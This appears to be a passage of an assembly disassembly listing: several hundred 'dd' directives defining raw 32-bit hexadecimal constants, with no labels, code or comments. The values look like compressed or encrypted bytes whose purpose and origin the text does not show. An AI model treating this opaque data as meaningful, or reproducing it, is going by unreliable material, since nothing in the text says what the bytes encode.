dd 80F06D6h, 71C135FAh, 323F024Ch, 0E3EFA121h, 101630D8h
dd 0CC876976h, 91D904C0h, 62EF00E1h, 9497F81Ah, 7AECD685h
dd 282C0226h, 2DDF8130h, 224A72h, 661F4E8Ch, 32AC5FBh
dd 8130ACAEh, 0FD0D3065h, 205B5B8Dh, 23B22500h, 6B6F8305h
dd 52C7DB22h, 6D2B1160h, 0ADF8030Ch, 0BC91AB26h, 927258C8h
dd 48E0B200h, 56E4611h, 0B9EE00B3h, 973B8A02h, 890EB706h
dd 0CF8D72F7h, 316B0096h, 0E27391Fh, 0A2F31887h, 95B82220h
dd 7000E0AAh, 0AD82753Eh, 80F5B2h, 6FB3E619h, 6EEF5BB7h
dd 0E3A06DF4h, 0F70E03B4h, 84DE8355h, 0E4C18216h, 424D676h
dd 0F471262Eh, 90924F54h, 51993818h, 0CAFD9801h, 8B0E169Fh
dd 0FA2AEC28h, 301EF824h, 0B4181FD3h, 8126A490h, 124034F8h
dd 128A18F5h, 81AA62E8h, 62E22378h, 0F0D0014h, 28DE6B4h
dd 0CCC9021h, 93A49E5Ah, 0E4ACA28h, 6423042Eh, 0B047770Ch
dd 6E51403Fh, 0D444F44Bh, 7CF41CDCh, 7A0A06ACh, 4167F0B4h
dd 83D08848h, 804334EFh, 0B016EB5Eh, 4BC6072Bh, 60A01FF2h
dd 0A2A76EF6h, 10176227h, 406BCB94h, 121A77CAh, 9DF07C3Ah
dd 808B11CCh, 0B25A75BCh, 0DC89187Eh, 9CA9A16Bh, 403E39h
dd 0CC151471h, 4EF31A45h, 89D00B1Bh, 0C290D093h, 0A00027F0h
dd 31E6B8D9h, 14CEB1h, 0AA2C82FEh, 48EB936Fh, 3C5180A2h
dd 540416A5h, 38FCD8ABh, 10CCC6FFh, 20BA5F16h, 0F27975DCh
dd 67DCBF00h, 3BBE4641h, 0DFF72965h, 1BEE00CCh, 0ECE69EC5h
dd 0EB03138h, 0E04E36BCh, 1F5BE5D2h, 0E2F4F9DBh, 0CF0E27FEh
dd 63010C01h, 0B59C4859h, 28ABE624h, 0C813AE09h, 34A664h
dd 0F20F2030h, 566C1402h, 0A89A11F6h, 925CF44Ch, 0BAE0B8DDh
dd 40C1DC72h, 39D2DBE4h, 0D1012A97h, 0A4FE87FFh, 0CB20262Bh
dd 5E73178Ah, 88548B25h, 460C0B2h, 88091C3Ch, 9AEFDE68h
dd 110C9DE0h, 4C98096h, 27E010D1h, 2802FF1Eh, 7480F16Eh
dd 5B2B3E58h, 0F90418C0h, 0A4DC74AEh, 2EBF00C4h, 2DFEF6D7h
dd 7A7FF793h, 45813200h, 0BDB43AE9h, 14A42D54h, 0A244D805h
dd 3059F268h, 0CC00C7B4h, 2ADE585Fh, 0A9F59249h, 0E8635ED8h
dd 530C6A2h, 92500B0Ah, 7C0EC7B0h, 7BAF0053h, 7EDA12B4h
dd 840BB490h, 683F7B6h, 0B9177B9h, 680E546Dh, 0FCA00C12h
dd 7BBE3F01h, 144B8A26h, 17551F08h, 238C3A04h, 0F4C70059h
dd 0A71A3EEAh, 5E092901h, 727E5A71h, 34637835h, 293075A2h
dd 0FECD139Fh, 51B40EB2h, 0CB0BA1E4h, 0C05BC888h, 6172CCBEh
dd 0EF372505h, 1004FBB4h, 0ACFD1662h, 5C20BB27h, 0BC9DF398h
dd 0AB55FD00h, 682E1EBAh, 0B23E046Bh, 0AC8717B6h, 9BF68420h
dd 0C803DC05h, 2AF96E7Ch, 0C2A7A840h, 0C25EE7FFh, 797D3829h
dd 4707853h, 0D5623868h, 546AEF1Ch, 0BC25B071h, 0B8595848h
dd 2F30407h, 0F0075F2h, 154A9011h, 0C01E725Bh, 0CA501980h
dd 0F8962CFFh, 30216458h, 0B9685450h, 1004C6ABh, 0BDCB1790h
dd 359A2480h, 0D096FEh, 6305460Eh, 427C706Ch, 19D683EEh
dd 41B33448h, 5271F6B5h, 34450B8Ch, 0D96355E4h, 0A7D23DB0h
dd 0AA4AE817h, 71F4D880h, 443496F6h, 39EF3201h, 8C6D89h
dd 3A6ED328h, 5CFD3D72h, 0DF25F434h, 0D24EC0A0h, 5B2665EEh
dd 6811E433h, 15E7A16h, 0FAEF27D8h, 93A4286Eh, 49C810CAh
dd 3D07E9C0h, 0DFEE114Bh, 0E8850763h, 0C8C0CB6Fh, 0F99AA3h
dd 0E1924C8Dh, 78C32D40h, 190E5A0Ah, 6E0AC424h, 1C907CF2h
dd 6AD9481h, 0ACC440B3h, 50A55B74h, 1A604D64h, 0C31C0AFDh
dd 0E541234Bh, 0B6D5973Dh, 0A209686Ch, 491FFB5h, 22BED562h
dd 7422A4h, 0FDFBA5AEh, 0A21C8689h, 7A1F9801h, 5A32ABC1h
dd 0B28EC60h, 0EA185AAh, 63601CEDh, 7C6094Ch, 1B20DACBh
dd 7879290Bh, 72253C00h, 1CE5E27Ch, 40B84490h, 0C10A1169h
dd 0E600B32Ah, 662906A5h, 1D5DD2FBh, 26637BAEh, 38E35808h
dd 0F3703607h, 91202F69h, 1DB92527h, 9401FE41h, 0CC82E0D8h
dd 96C07B26h, 53C8F3Eh, 0C52E803Ah, 37B74B89h, 0F5022C87h
dd 0EC11100h, 0E06401DBh, 2E9ACC81h, 0F0730044h, 29705834h
dd 45EDE80h, 110C9C44h, 6B2A98E5h, 0C1B917F8h, 85145215h
dd 68C0F8C6h, 97187616h, 7305DC01h, 26FC69E5h, 604030BBh
dd 247EE209h, 1D7CEF56h, 48542C71h, 0AD606FBCh, 2B2DE8EDh
dd 8033793Bh, 0D6449F39h, 166EF045h, 8116EAE1h, 61E05B74h
dd 242F2A64h, 0EE005923h, 3A4C29BCh, 6DC4127Eh, 458A350h
dd 0DA6FF093h, 0ECA41016h, 57EC8B0h, 0F6058075h, 9870FA94h
dd 31DCEAC0h, 9B1A3BF3h, 90D48F4Eh, 2F1DC050h, 727167h
dd 0F7A03237h, 8B0E5CF8h, 2E0DD48h, 820FEBADh, 0C8F2DCh
dd 0D8935247h, 95C1D0DAh, 7F043300h, 96762C53h, 48C1C8A7h
dd 0FCEAE280h, 8F66B9h, 0F24269BEh, 6B82A10Dh, 61DFD400h
dd 0FA7335A0h, 0E8775299h, 0FD27D702h, 14E0189Fh, 0A122F6Bh
dd 0CCF3C146h, 0AC23721Dh, 0E4E20970h, 40551006h, 0C612EE09h
dd 0A6BC804Fh, 12AC6DA4h, 80767B3Fh, 0EB657358h, 4F02A5Ch
dd 2530FB67h, 6022AC82h, 807A685Ch, 45187331h, 1489CFAh
dd 906C7FE4h, 828B7B08h, 449FD804h, 98B225B5h, 0EB660E03h
dd 580638B8h, 972E5AE9h, 301B7C48h, 0DDC0CB9Bh, 9361666Ah
dd 3FC3FB18h, 0EDF200DAh, 0F62A6E87h, 1095880Fh, 8954E4h
dd 0EA748CC5h, 4A659596h, 9ED18100h, 80E0FAABh, 2FD65E9Fh
dd 18C92314h, 3E489A32h, 94516902h, 708B92D5h, 0B51D4444h
dd 0E95DF332h, 7CEC6488h, 6C260056h, 0A932F479h, 28B8BC5Ah
dd 67944494h, 108B96ECh, 0C3C78CC8h, 0F757F840h, 4EFF7327h
dd 2E6C00AAh, 507AB6BFh, 0F507DF02h, 50831E58h, 0D81F4DACh
dd 0B458F5BCh, 7A2C0032h, 0BA26EFD0h, 82B89C78h, 0CC9FE09Bh
dd 12ABD481h, 29747802h, 0BFD97083h, 20029E18h, 0DBD1EFF3h
dd 46F4F086h, 0E5C90232h, 1CCB1619h, 0E5F0D001h, 9F0FFF24h
dd 0B2939ED4h, 5AA325ACh, 40116C17h, 2FD93D80h, 450781FAh
dd 8FEE4855h, 50AE6232h, 0C1901E4h, 0D8FFDB56h, 2EDC1170h
dd 90E2A260h, 0F1FA29A0h, 0E1603FCh, 1804046Ch, 1B54F7F0h
dd 6E7030ACh, 470141E8h, 7C5B406Fh, 8C4DB8ACh, 30D4200h
dd 21636C9Eh, 71311358h, 39FC2CEAh, 7A42000h, 56BB5725h
dd 30360090h, 0CA05A8C5h, 8270BEBDh, 0C128C758h, 1879D04Bh
dd 4B421C20h, 24E882D2h, 255EB8E6h, 5D00A7ACh, 0DD0A55D8h
dd 0F5097812h, 0C8BB9497h, 746CF60h, 2C3D577Eh, 4375F07Bh
dd 0CD05169Ah, 0BDE0DECCh, 71273DC0h, 0B99060F6h, 88D018F5h
dd 7E8028BEh, 7C23573Dh, 82350919h, 0D4F2BA0Bh, 0BE64830Eh
dd 960360B9h, 133A4562h, 182EDF8h, 51A41A48h, 0ACC6FADCh
dd 0B02ECD12h, 0DF3140Fh, 6021196Bh, 7EF5AF0h, 7E89EB5h
dd 89EE1516h, 742F2AF0h, 35004F23h, 54977751h, 0F03E58ACh
dd 69EC7022h, 679D4h, 6E4A323Bh, 73A31C3h, 0F7F366CFh
dd 1800B9EEh, 8DFDAF0Fh, 2268F05Ch, 3DC70E65h, 6A4F6C21h
dd 0FAF746FCh, 0C09D896h
dd 701BCB18h, 4CB0A0h, 0F50DA727h, 0B8A1B502h, 0F7BA2313h
dd 131C1CF4h, 0E027E31Ah, 12144980h, 0F8989Eh, 1FBA223Ch
dd 38140547h, 3A815758h, 0F1044328h, 2E34C4E3h, 0DF5151B0h
dd 80ED2068h, 0AA2CD500h, 70815B4Ch, 0C7AE0D67h, 4270894Eh
dd 0CC3031F4h, 161817E5h, 9C8BC3h, 88E5F7EFh, 4A16FDF8h
dd 6E3088C5h, 7382A900h, 12EFF6EAh, 0C0809D22h, 0B0D3C89Bh
dd 0FB8E40BCh, 10972CF3h, 0CE6218E9h, 0E6BBE096h, 5F4BC492h
dd 0E401146Bh, 0E543DB7Ch, 982883FDh, 2918A08h, 0D3020AB9h
dd 88C35FC7h, 9AC6A013h, 0C5F4CCA5h, 0E619C4AAh, 18472248h
dd 2784771Ah, 2C97FCDBh, 6708E826h, 31FC13E1h, 0ED900A48h
dd 3AC63B1h, 7AB24985h, 3643888Eh, 1373003Fh, 778F7662h
dd 55276526h, 0C414E508h, 17EA6058h, 0FF450051h, 0FC5FA24Dh
dd 0BE2EE2E7h, 0B5C76C87h, 0DD049C9h, 98EC90F6h, 0ECD10054h
dd 2F1BF85Eh, 1313BB5Fh, 0D882C90Fh, 1A08008Bh, 0C749F3C3h
dd 344C7574h, 70A18160h, 0AC504E62h, 59B625ABh, 0C3BC5493h
dd 91712227h, 2461AB1Ch, 0B0FA7AC4h, 0D3B6515Ch, 41E0C68h
dd 269C5111h, 0C900331Bh, 65BAB5A7h, 0EF0C06ACh, 987A8A42h
dd 0F5E00317h, 5A007852h, 0F4739D2Bh, 6DBD0018h, 89249CE2h
dd 0A4098F3Ch, 0F390D26h, 80C0AEE5h, 572AB584h, 66DC2637h
dd 0E7FA4070h, 2E809F6Eh, 5E6C0059h, 0A9EFFB47h, 3600ED71h
dd 28E8BDF1h, 0F839F3F0h, 291AEC50h, 80C0BA94h, 5F89C651h
dd 8830F143h, 4C26F9DAh, 0FB0F01E5h, 60EC4197h, 4AA8EF56h
dd 0D0C04432h, 958325F2h, 732716ABh, 6D9D0146h, 24CB0FDFh
dd 63193738h, 0F3698D13h, 99C19F4h, 0B404CA98h, 21BCF180h
dd 61001B56h, 0E53F6350h, 0EBB71F2h, 74558160h, 0FD4CA2E1h
dd 0CDC1C872h, 28790402h, 606E531Bh, 6005ADC0h, 83718A4h
dd 0B2806A7Eh, 248B009Dh, 899EF806h, 0DC009FEBh, 0E3687A0Fh
dd 3A7527CBh, 600C6CAh, 4BBDCEB4h, 2F01B7B5h, 5FCB479Fh
dd 21DCF5EEh, 44BA07AFh, 4026A66Bh, 0C91525BDh, 80F85700h
dd 90DF634Ch, 6C8A481Dh, 0DDC82Eh, 72516170h, 4B006493h
dd 409E8E2Ah, 0C0C6B209h, 14D2E568h, 4400EAF6h, 51E724E9h
dd 0E84F922h, 31A6948Ah, 7B77C3C1h, 0B5D88023h, 0D92789BEh
dd 88E93DF4h, 5CE6AF80h, 8758C8D7h, 218F274h, 2D10D428h
dd 8B048C23h, 3E3AAA39h, 54F29040h, 62809E2Ah, 0E9B42B48h
dd 0EC890304h, 0E1E1E8FAh, 0ACC307E3h, 457DE039h, 38FC0024h
dd 45BB120h, 0B530883Dh, 76464143h, 8FC300DDh, 5010A493h
dd 0EF0A63BDh, 30E3DBE4h, 0B7CE5706h, 78141E71h, 8DE80160h
dd 0E42F10A8h, 0B40C556Fh, 594E9653h, 29D20028h, 0C740C107h
dd 0F03AC96Eh, 215030CCh, 3292C8Ah, 0A7AE3291h, 4E17EDECh
dd 510C9BC1h, 307863h, 7D6CD99Ah, 6BEECC3Ah, 614A5500h
dd 85183FE6h, 0F9D5012Fh, 0C65705A6h, 0E5A180B1h, 14697165h
dd 0E4ED07A4h, 70EE6882h, 0E6ADBE52h, 0D75095F2h, 4E18F344h
dd 18706E6Bh, 0A8A49Dh, 9665B53Dh, 0D4798A64h, 0DECF9E24h
dd 5CA70Bh, 8D50EDDDh, 0FC0607ADh, 7EF2A588h, 7BC6CCC0h
dd 0E70D1E1Ch, 512A1BFBh, 50D8E400h, 5A0B01BAh, 974796DEh
dd 92B810ECh, 0CAF200C2h, 43682E71h, 0FA0C4524h, 0A95E1E95h
dd 0ECF955E1h, 6C5AE140h, 17321FC7h, 14494420h, 5AC1AEC9h
dd 29803B3Ah, 0D5E56BC8h, 2F05027Eh, 8AC0B466h, 2927D030h
dd 38C11004h, 0B5BDC4CCh, 29218900h, 310070B6h, 0C765B2A5h
dd 1D55E601h, 0C05DB0C8h, 0F1C228C9h, 0B519BE2Fh, 0FBA9CF9Ch
dd 65957D10h, 6C01B675h, 67E53CA3h, 809E49C1h, 3024C534h
dd 290406Dh, 0A92B7390h, 0ECD2FA0Ch, 0C14409E1h, 71982221h
dd 0A03BCCC8h, 73FB58h, 7C7A1314h, 3B911B34h, 0CF926369h
dd 895C069Ch, 4200E9F3h, 6B225606h, 3F8AE0Bh, 5545A91Ch
dd 0A900E5E1h, 8BABD5CFh, 28BF7Dh, 0B316E761h, 2F52D246h
dd 931BE012h, 13E54803h, 0A6910060h, 549FC9CEh, 21C25C35h
dd 616697h, 3AC6421Fh, 0CAA0CB00h, 8293A7FAh, 0B970FCCh
dd 0C021E0EDh, 2434B3BFh, 9E1FE614h, 8A4DC99h, 0F59C981h
dd 32707B27h, 2D101DB0h, 0B4693024h, 0F015150h, 0E3BB0867h
dd 188390ABh, 5F965D14h, 2DF5F900h, 0DFBCDA52h, 16DEEF7h
dd 44FD7F76h, 0D414EADEh, 2B631BD7h, 80225ED1h, 1F94FCh
dd 6933C688h, 0F3736431h, 9E8A7B12h, 26709077h, 1DDFACh
dd 338AD752h, 0B6C4A07Fh, 0BA0A9902h, 419A3C01h, 5A0CDD40h
dd 0D5019643h, 48C12229h, 0C04B0CC7h, 292FFB21h, 250C6AD7h
dd 19448B30h, 0FFA902A1h, 28D9FA3Fh, 9EE798A0h, 0A0A6DE8Bh
dd 0D50F0702h, 181B227Bh, 0AA806E68h, 0DC0F0056h, 0CD32C15Ah
dd 0F11FED18h, 8848951Dh, 67A424B3h, 96C24002h, 0BC71D9A2h
dd 0E068C51Eh, 0E56A4C01h, 0E0BD62B5h, 81EB9718h, 0DC078B25h
dd 0C909BB9Ah, 0BD3216D0h, 0F5C24805h, 0E5461103h, 39006145h
dd 0C90A169Fh, 6CE8ADh, 766F5A69h, 7DE9D0F0h, 7E74463Eh
dd 98CE1C34h, 8A26A404h, 6892933h, 0CCCD5C1h, 238F8845h
dd 93942900h, 0C7437C16h, 0B5BF36A6h, 0DD002002h, 565FA902h
dd 0D5D8C2h, 88F648B7h, 971E1444h, 0A7381F00h, 0BF8EC732h
dd 41A0E8D7h, 249EF9F7h, 700A248h, 87DD12CFh, 13993D64h
dd 30149CD6h, 55CAD480h, 465B5300h, 3957CE24h, 15C07826h
dd 0CC67E78Bh, 695AE900h, 685CD824h, 0C12414A4h, 4E024D78h
dd 0A0E1D997h, 32ECBAB4h, 13C7FC8Dh, 1012F34h, 539316AEh
dd 862E0h, 96A3C0D4h, 320DA779h, 0EA094F44h, 0D8F4F0A0h
dd 0B2481EA3h, 78B60347h, 626973A4h, 1C3178DEh, 0F218EC48h
dd 0D500609Ah, 98AD9EB5h, 75BC47Ch, 93141907h, 40E5678Dh
dd 0B1F21A17h, 4C859E24h, 0D30F05C0h, 2432217Bh, 0A4611D98h
dd 0CE0F125Ch, 21CC2018h, 0B3005953h, 67EE8098h, 29589485h
dd 0F704E93h, 7944A32Bh, 0F38AFh, 1810A3C3h, 0D00CE321h
dd 18E33898h, 260F0A04h, 454C5A7Bh, 5FF0409Ah, 0EBC10F50h
dd 14CB6A1Ch, 8FC69240h, 62CFF3BFh, 6CE569FCh, 0C2029064h
dd 0F0465A6Eh, 374C6DDh, 4F879E58h, 0A3E84136h, 0FF050A57h
dd 5F97DE5Eh, 0C05DDC08h, 7994A336h, 226C28D1h, 0CE0E06E0h
dd 319774A3h, 946B400h, 3992105Fh, 2A380090h, 3C66550h
dd 5B60BA80h, 14E54F90h, 6B54A128h, 115CE4h, 0C3307927h
dd 0AB92B0B2h, 9CBC5658h, 0D1800062h, 0EEEBC618h, 1B07937Ch
dd 6035FEA1h, 1F2F6430h, 0E09713E2h, 0D0C85992h, 4011850h
dd 0DF7991A3h, 12F12C0Eh, 86CA3D9h, 5E809D9Ch, 0B6A497A0h
dd 39D8007Eh, 352B7405h, 0B801FBEFh, 806AE1B5h, 832A8E9h
dd 14119701h, 32670AACh, 8AD910BCh, 59BC04D6h, 8B14C4C1h
dd 268800BCh, 7921A229h, 3C8B221Bh, 0CA8CE500h, 0BFE7BCF6h
dd 0B7903230h, 0F098AEF4h, 0A600A1CDh, 0FF35C338h, 7194A7F3h
dd 0BD6A1A7Bh, 60479162h, 0C605644h, 701424Ch, 929364FCh
dd 0D048F2D2h, 0D10C88FDh, 0B0DA7500h, 7BBC97F6h, 0D55F2C95h
dd 809F91B0h, 7B290F5Bh, 10245802h, 0F5AB6B0h, 0E49E8100h
dd 4227FE7Ch, 0BC164818h, 8CE6BCh, 42C576CCh, 0CE4FBFEAh
dd 21FCE130h, 0E249081h, 0C67FFD06h, 767DE500h, 0B1E1191h
dd 9907C7ABh, 0BF504489h, 0BB214808h, 73970198h, 1882A904h
dd 9F23889Ah, 1EE7103h
dd 0F51E28CDh, 5AC82859h, 0A31CDF18h, 0A90798Fh, 3B00E2DFh
dd 0A9D2AB57h, 1E66A0Eh, 0F151DDF7h, 87566671h, 75C81371h
dd 2B7AC70h, 0FB2B2ED1h, 914E00A3h, 697A145Ch, 0C0C7972Ah
dd 46D48A00h, 0B80E6EEBh, 0C14E019Bh, 0EE3CC869h, 43062AFh
dd 15AA92B4h, 2079D4A4h, 2114639Eh, 1F14C46Ah, 1D7E9335h
dd 913069E5h, 0C9B6C857h, 646897E1h, 0C01DFFAFh, 5492DD40h
dd 1172028h, 366B0A0Fh, 2DE3C4C1h, 0B8B90C78h, 688CCAAh
dd 2BBF4527h, 62036901h, 3BB77447h, 0ABEFA86Dh, 0B4ED54AFh
dd 79F86087h, 0F72FFD43h, 3E55B758h, 0CFAB0C3Ch, 929E1h
dd 0EB633EC0h, 0BE61DA11h, 665E477h, 0DC33A6F0h, 4EABE1D9h
dd 0E2CC23D0h, 13E8007Bh, 78D5FBE7h, 0D34879ECh, 9F99606Eh
dd 2658CE3Fh, 7387B8Bh, 0C21E5A4Ch, 74E1262Dh, 8DAC4866h
dd 4F65AD00h, 31ED8AACh, 0EEA70A24h, 828C2D3Ah, 54FA0479h
dd 0C746D040h, 63074172h, 5C44D074h, 0ABF34980h, 0E9E80779h
dd 43D41B26h, 64A015FEh, 0F51203EAh, 540ED35Eh, 0B1458044h
dd 280EDDh, 0C62D2031h, 6AAE6DCEh, 63D6FC00h, 23ADDC65h
dd 2EDE30E7h, 0D1D99410h, 2490EB48h, 0C3F046Ah, 90F049A8h
dd 14B083h, 0FB709759h, 66743F62h, 0F5E37301h, 0DC04D638h
dd 46B0C8C2h, 0E29200C6h, 8E57A65Ah, 3900304Eh, 0BCCD067Dh
dd 52AB95EFh, 0B1728C46h, 2653012Ch, 800FD983h, 2045FC49h
dd 3002BAh, 6BCD8066h, 9A4C0960h, 58412B01h, 0DF1775E1h
dd 822A4087h, 0B026F3D7h, 8A60ECAFh, 0B3805096h, 0FB76AEE1h
dd 4B3A056Ch, 42E7EDh, 5B288EB2h, 0EA6234F3h, 48541889h
dd 234B3Ch, 3600F15h, 25D79A0Ch, 0AA145A00h, 56D1C2CBh
dd 952C0041h, 354F01BCh, 5D008A44h, 0BAC979EFh, 5C57C34Eh
dd 0DDC0D04Bh, 0AF4AEC1h, 6614E20Ch, 0E2C5199Ch, 1E5EF655h
dd 98DB02h, 70C3FA7h, 0F100CD6Eh, 0C995FBE1h, 12F53EFh
dd 1425A92Bh, 804AB5B3h, 4433A5E1h, 1E27C8h, 72A49F3Eh
dd 824F226Dh, 57F6D900h, 6BA64AA2h, 2D6F22E5h, 0A1C90801h
dd 4F699D09h, 0F9616DCh, 46B1EC6Ch, 11EF2006h, 715CC7FAh
dd 87604CDEh, 43747BF3h, 93560080h, 1DEAE235h, 8527DDE0h
dd 3A2DB8DFh, 8900BA04h, 3DEE9854h, 0E40BB5D2h, 0B4AEC2h
dd 4C373265h, 6452009Fh, 8EA7A286h, 0DA01B799h, 6E221BEAh
dd 0F3B916h, 40FE133Eh, 0EB50D84Eh, 2D2A8300h, 0D4F49B5h
dd 79CD00A7h, 103FD087h, 37605208h, 0AF225B81h, 0DEFC001Ch
dd 0BFE3C892h, 671C2FA2h, 37430688h, 3D2C0C82h, 0F3CDA8h
dd 7A25B4E1h, 0EAF4CAEDh, 861DCC00h, 37A2B8E7h, 0E8AB31BFh
dd 9135D838h, 490095C8h, 3F8CEE2Bh, 86154A8h, 0DBA35E80h
dd 0F1D8450h, 0EAFC0393h, 6D44903Fh, 9D22390Ah, 0DB6088A9h
dd 0D8E84Ah, 11F98DCCh, 25F1A2BBh, 27297600h, 0C3BA550Ah
dd 0A8F3500Dh, 5D5900AFh, 0AB9AAED3h, 3F3B85A3h, 77BC8C76h
dd 0FF72A8B7h, 0B0153C70h, 391E6171h, 8ADECE57h, 84E42CC0h
dd 27C288h, 0EDBB9088h, 46001279h, 3211AA8Eh, 3B7D0B31h
dd 3B807119h, 4B02B041h, 0DE006059h, 0DF792F72h, 7BAEF48h
dd 7B27409Ah, 1F188CD9h, 0BE5F0905h, 207903B2h, 80A984E8h
dd 473ADA78h, 0C1A0128h, 5005BD58h, 1FD606C4h, 17C5C4Eh
dd 0FA2FE1Ch, 1ECFF80Bh, 0FDDAB302h, 1C284CF4h, 5B0881C4h
dd 0A0801450h, 681A7514h, 45CA3Eh, 301E719h, 7AA66h, 5FD1464Ch
dd 30D770CEh, 590AB7E4h, 347D583Ch, 0A1E80832h, 0DB866680h
dd 0F8A0D01Ah, 162200A2h, 60B5B885h, 0CEC9263h, 95E56900h
dd 0E593E7Eh, 0BA4D0189h, 91CA5D2Dh, 0B5F44134h, 0BDD8D407h
dd 6C908FE2h, 3F20F3Ah, 89C02DB9h, 0F9291190h, 991F1109h
dd 9F08FE21h, 287D9497h, 219C0611h, 8C4C08EAh, 8140194h
dd 8BB1D45h, 0E094BA16h, 14A5283Ch, 5180E131h, 5910BF02h
dd 0A9813268h, 0EDDCEF10h, 603FC300h, 0F19546B5h, 24B812h
dd 7A5931DDh, 0D467D86Dh, 0E92B6500h, 0CF60CCE7h, 0F15F0084h
dd 68D6AA18h, 0F31E1062h, 0BD00455Bh, 0B5BEDD93h, 15EA0Bh
dd 9EF0668Eh, 0E2C45589h, 75B7E800h, 78B264EDh, 0CF510EFFh
dd 0D0C03617h, 4E445939h, 0B3ECEB00h, 0E1A0AB02h, 0F18500BDh
dd 0B12AED96h, 0CE0090FFh, 395C24D7h, 1C8EF89Ch, 2DC925h
dd 915A116Dh, 67F28D10h, 0EFF0DA00h, 0B23192A8h, 6BA4000Bh
dd 0B9996996h, 0F300B33Fh, 0DDDEB491h, 34A821h, 0F80E4352h
dd 1B3EF64Eh, 572EC507h, 0EE20E293h, 360DE34h, 78C6DA83h
dd 49005419h, 0B037055h, 4B0694h, 0B83B6373h, 0BF97FDB0h
dd 0EDFCF3Ch, 20D2C603h, 2FB43D5Ch, 0E36200C7h, 5312C939h
dd 0D5009323h, 890BCA04h, 679529h, 906C8171h, 0DEBEE182h
dd 0F6396900h, 2038E235h, 0BF950074h, 0B4D1799Dh, 0B000D04Eh
dd 41F6033Fh, 0B3D268h, 42322094h, 0C5E3CD86h, 45A7A3Ah
dd 8429A8F8h, 8099ACC2h, 21833A8Eh, 6A42009Bh, 0AB39472Ch
dd 30002062h, 4901D4CCh, 0A87CB5DCh, 405F568Ch, 0D3B63A34h
dd 0E9FEF500h, 1DE0F9D2h, 0C0F81099h, 430DF116h, 82006A93h
dd 5861E129h, 9BE84FDh, 9BBFAF27h, 967305h, 38427EA0h
dd 0F30E9949h, 0E09C162Ch, 6B2F4F4Dh, 34A100BDh, 0EB9642E4h
dd 35020B1Ah, 0FDEE67F5h, 15BE4159h, 801864h, 91E6549Bh
dd 0DC12168Dh, 0C053CA00h, 2782D62Ah, 0C8EC633Ah, 0E6E0E573h
dd 5D3E9DC2h, 0D98A81B9h, 5CDACBD1h, 7A8090BCh, 0B72F2656h
dd 0C1001183h, 9EBAC7F9h, 72F5AEBDh, 6CCF0001h, 8547266Eh
dd 0C165BCAh, 9C400224h, 48282B63h, 57371320h, 61A100A9h
dd 0EE399904h, 27477803h, 6BF37Ch, 0A633AA90h, 0D1E04FE1h
dd 31E7DF00h, 9FF0A938h, 0CC14003Fh, 18E252C0h, 0FA00435Dh
dd 8553A6BAh, 9E863Bh, 7D7CDAEEh, 2D3C2002h, 520EA10Eh
dd 531C20ECh, 0FD1886Bh, 5E7CB018h, 496D37A0h, 0AF185D11h
dd 0D9181C15h, 0A27754h, 0C76E1C7h, 61CD3444h, 8ABE4F03h
dd 8FD18F58h, 2191B740h, 0FB7000E0h, 69680CB1h, 7E1FD388h
dd 0B4052DECh, 0A81F648Bh, 63F90F40h, 0A2FE2h, 18F712CEh
dd 9D548728h, 0E553Eh, 0BF0D0CC0h, 657B8Ch, 8EBBC401h
dd 2624D8CFh, 22003FFCh, 7FFD6620h, 0E9DFE3h, 0C60BF58Fh
dd 0C27EDC31h, 28A653Eh, 6ADA9D9Ch, 0BA44E0B2h, 0EDF800A0h
dd 3037914Fh, 9A004022h, 0E4D2BDE0h, 8C7341h, 949B094Eh
dd 0CECB0629h, 1CA0BF3Bh, 64001B82h, 0C57A1025h, 4EF473h
dd 0F44FC43h, 0B766CE32h, 34242F00h, 9106C371h, 0B39F0322h
dd 45EDEEA1h, 0A99295D0h, 51F8FF00h, 698AB0E8h, 0B6F40041h
dd 0E36AB72Eh, 7F013E57h, 7B6ED148h, 0EFC2611h, 0E4320066h
dd 534BD5B4h, 9D0036B5h, 0D838FCC2h, 0DAF2B8h, 0BB041660h
dd 302D1B2h, 819D3B39h, 2C724310h, 26E0FE88h, 0E3600EEh
dd 0DE3BB13Ch, 107379ADh, 3F182000h, 0EE62643Eh, 0CE7400E7h
dd 9F0BD87Eh, 0C300229Dh, 0BD798403h, 0F3215Ch, 399116BCh
dd 52855F5Dh, 7BF2BBB8h, 0CB70C21Ch, 0A288017Eh, 327A8C9Dh
dd 7B80F845h, 5AFE9A6h, 7756CD67h, 0D1F800C2h, 0C462423h
dd 0EFE31600h, 762BB831h, 0FCC61419h, 2702E01Dh, 0B18FC040h
dd 1CBFDA00h, 33EF00CDh, 0E7246DD5h, 0DD01C0BBh, 12A104C1h
dd 85306C22h, 71470034h, 0C0DFAF68h, 20F4624Ah, 31050400h
dd 9D3E19Ah
dd 0E6A214B9h, 0AE04E041h, 292B54C6h, 5E005032h, 0B6122A45h
dd 9600788Ah, 0A87B189Ch, 0FB755FDh, 0E3D8F3DBh, 0F84C0E96h
dd 232177E0h, 91021B2Fh, 0C780E233h, 681C602Ah, 13F80066h
dd 2BAE0A29h, 0C500E41Ah, 97AA3F63h, 7ED422h, 4C196F95h
dd 3042A7DAh, 0A8177B0Eh, 0D3B540FBh, 60265F58h, 42638055h
dd 2000251Bh, 17313810h, 7057B0B3h, 52180083h, 0C694EA14h
dd 0D07FFBBEh, 88981A79h, 0C1AB3E00h, 0D9346A0Fh, 2B10266h
dd 0A12A8156h, 5300A446h, 3D6F4970h, 0E07E341h, 5596085h
dd 0BC32D6C3h, 0B76E3CF0h, 0C1DE5D00h, 51BEDCC7h, 1ADD2A56h
dd 89A8019Ch, 1CEDB2FBh, 95BFC075h, 0A10CD52Eh, 346809h
dd 0B185BE10h, 0EF4500D8h, 4F21B217h, 7100AFD5h, 0FB3FBBA8h
dd 0FDA337Fh, 2D509857h, 4B475340h, 0CFF6343Ch, 686CA800h
dd 0AF0AF7Bh, 4DD00071h, 95D51675h, 0B2011BC8h, 0BF2573DAh
dd 0E8F3695Fh, 0E7F51Eh, 5E7A17CAh, 7EED6D4Fh, 0DAFFD2FAh
dd 97F498C0h, 4AA27900h, 22F99F41h, 91E20082h, 62D5697Ah
dd 0D7139E9Ch, 9A019A76h, 0CCF5A865h, 7A4E4B30h, 0C1EF00DEh
dd 85F059FFh, 0CB1E3D39h, 8D00BFC0h, 0A04DC73Bh, 83358CFh
dd 44E3E600h, 24840F58h, 1E074DB8h, 0F5E78BB5h, 453B4A70h
dd 0DA7D38FCh, 0CD02F680h, 92C94F96h, 2160381Fh, 0AD1C6847h
dd 0E4418DB0h, 34C01F98h, 0BC11C123h, 0F82419A7h, 92001FF7h
dd 5C1E72E9h, 0F2B2C54h, 193FBB6h, 0E3DA8660h, 4E739E15h
